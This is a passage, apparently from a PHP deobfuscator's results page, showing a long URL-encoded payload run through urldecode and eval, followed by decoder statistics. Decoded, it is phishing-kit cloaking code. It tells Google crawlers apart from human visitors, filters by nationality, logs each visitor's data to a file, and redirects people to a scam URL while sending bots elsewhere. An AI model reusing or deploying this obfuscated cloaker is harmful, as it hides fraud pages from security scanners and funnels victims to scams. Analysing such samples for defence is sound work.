20%20%67%6f%6f%67%6c%65%20%65%73%20%75%6e%20%72%6f%62%6f%74%0d%0a%09%09%09%09%7b%20%0d%0a%09%09%09%09%09%24%76%69%73%69%74%61%6e%74%65%20%3d%20%22%72%6f%62%6f%74%22%3b%0d%0a%09%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%0d%0a%09%09%09%09%09%24%76%69%73%69%74%61%6e%74%65%20%3d%20%22%70%65%72%73%6f%6e%61%22%3b%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%0d%0a%09%09%09%0d%0a%09%09%09%69%66%28%24%76%69%73%69%74%61%6e%74%65%20%3d%3d%20%22%70%65%72%73%6f%6e%61%22%29%7b%0d%0a%09%09%09%09%0d%0a%09%09%09%09%0d%0a%09%09%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%74%6f%64%6f%6f%6b%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%09%09%09%09%0d%0a%09%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%74%6f%64%6f%6f%6b%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%0d%0a%09%09%09%09%0d%0a%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%53%43%41%4d%29%3b%0d%0a%09%09%09%09%20%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%53%43%41%4d%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%09%09%2f%2f%70%72%69%6e%74%20%22%65%73%20%70%65%72%73%6f%6e%61%22%3b%0d%0a%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%0d%0a%09%09%09%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%42%4f%54%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%09%09%0d%0a%09%09%09%09%09%20%0d%0a%09%09%09%09%20%20%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%32%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%32%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%0d%0a%09%09%09%09%20%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%42%4f%54%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%09%09%2f%2f%20%20%70%72%69%6e%74%20%22%65%73%20%75%6e%20%72%6f%62%6f%74%22%3b%0d%0a%09%09%09%7d%0d%0a%09%09%0d%0a%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%0d%0a%09%09%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%29%3b%0d%0a%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%29%3b%0d%0a%09%09%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%09%09%09%09%2f%2f%70%72%69%6e%74%20%22%6e%6f%20%65%73%20%64%65%20%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%20%22%2e%24%6e%61%63%69%6f%6e%61%6c%69%64%61%64%3b%0d%0a%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%42%4f%54%29%3b%20%20%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%42%4f%54%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%2f%2f%0d%0a%09%09%7d%0d%0a%0d%0a%09%09%0d%0a%0d%0a%09%7d"));
?>
Function Calls
| urldecode | 1 |
Stats
| MD5 | cdd92a08108f3b57839ae6d08ddfd54b |
| Eval Count | 1 |
| Decode Time | 109 ms |